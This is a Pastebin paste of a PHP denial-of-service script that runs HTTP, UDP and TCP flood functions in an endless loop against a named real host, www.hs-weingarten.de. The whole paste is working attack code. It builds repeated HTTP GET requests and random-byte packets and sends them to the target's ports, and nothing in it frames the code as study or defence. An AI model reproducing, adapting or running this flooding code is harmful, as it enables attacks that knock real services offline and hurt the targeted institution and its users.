Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- while(1){
- httpflood("www.hs-weingarten.de",$file,10,0);
- udpflood("www.hs-weingarten.de",10,4454,0);
- tcpflood("www.hs-weingarten.de",10,45454,$port,0);
- }
- function httpflood($website,$file,$times,$delay){
- $p=0;
- // echo "[HTTP FLOOD BETA]: DDos Started for $times times. Site: $website. File: $file Delay: $delay ms \n";
- $head = "GET /".$file."/ HTTP/1.1\r\n";
- $head .= "Accept: */*\r\n";
- $head .= "Accept-Language: nl\r\n";
- $head .= "Accept-Encoding: gzip, deflate\r\n";
- $head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
- $head .= "Host: $website\r\n";
- $head .= "Connection: Keep-Alive\r\n\r\n";
- for($i = 0; $i < $times; $i++){
- $DoS = fsockopen($website, 80);
- $fpw=fwrite($DoS, $head);
- echo "Paket $i \n";
- if ($fpw){
- $p++;
- }
- fclose($DoS);
- sleep($delay);
- }
- echo "$p of $times requests sended\n";
- }
- function udpflood($host,$packets,$packetsize,$delay){
- $p=0;
- $packet = "";
- for($i=0;$i<$packetsize;$i++)
- $packet .= chr(mt_rand(1,256));
- for($i=0;$i<$packets;$i++){
- $fp=fsockopen("udp://".$host, mt_rand(0,6000), $errno, $errstr, 5);
- $fpw = fwrite($fp,$packet);
- echo "Paket $i \n";
- if($fpw){
- $p++;
- }
- //fclose($fp);
- sleep($delay);
- }
- echo "[UDP FLOOD]: Packets sended to $host. $p Random Ports used to perform this attack! \n";
- }
- function tcpflood($host,$packets,$packetsize,$port,$delay){
- $p=0;
- //echo "[TCP FLOOD]: Sending $packets packets to $host:$port with $delay ms delay. PacketSize: $packetsize";
- $packet = "";
- for($i=0;$i<$packetsize;$i++){
- $packet .= chr(mt_rand(1,256));
- }
- for($i=0;$i<$packets;$i++){
- $fp=fsockopen("tcp://".$host,$port,$errorn,$errors,5);
- $fpw = fwrite($fp,$packet);
- echo "Paket $i \n";
- if ($fpw){
- $p++;
- }
- //fclose($fp);
- sleep($delay);
- }
- echo "[TCP FLOOD]: Finished sending.$p of $packets packets to $host:$port. \n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement